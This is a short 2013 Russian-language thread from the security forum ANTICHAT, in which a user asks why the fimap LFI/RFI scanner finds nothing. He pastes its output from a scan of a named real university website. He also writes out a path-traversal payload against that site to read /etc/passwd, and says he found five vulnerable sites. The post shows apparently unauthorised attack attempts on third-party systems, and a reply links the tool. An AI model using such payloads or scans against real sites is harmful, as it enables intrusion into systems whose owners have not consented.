HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.09.2013, 14:04
psihoz26
Guest
Сообщений: n/a
Провел на форуме:
182660

Репутация: 324
По умолчанию

Пытался поюзать данную тулзу но к сожалению ничего не вышло

ншел 5 lfi уязвимых сайтов сую поочереди в фимап и он мне выдаёт примерно такое

Код:
Code:
C:\Windows\system32>cd C:\fimap_alpha_v09

C:\fimap_alpha_v09>fimap.py -u "http://www.lasalle.edu/grad/index.php?section="
fimap v.09 (For the Swarm)
:: Automatic LFI/RFI scanner and exploiter
:: by Iman Karim (fimap.dev@gmail.com)

SingleScan is testing URL: 'http://www.lasalle.edu/grad/index.php?section='
[09:01:15] [OUT] Inspecting URL 'http://www.lasalle.edu/grad/index.php?section='
...
[09:01:15] [INFO] Fiddling around with URL...
Target URL isn't affected by any file inclusion bug :(

C:\fimap_alpha_v09>
а LFI то явно есть

h**p://www.lasalle.edu/grad/index.php?section=../../../../../etc/passwd%00
 
Ответить с цитированием

  #2  
Старый 16.09.2013, 14:44
herfleisch
Участник форума
Регистрация: 07.01.2009
Сообщений: 237
Провел на форуме:
745649

Репутация: 97
Отправить сообщение для herfleisch с помощью ICQ
По умолчанию

http://code.google.com/p/fimap/

Цитата:
Сообщение от None  
Works also on windows.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ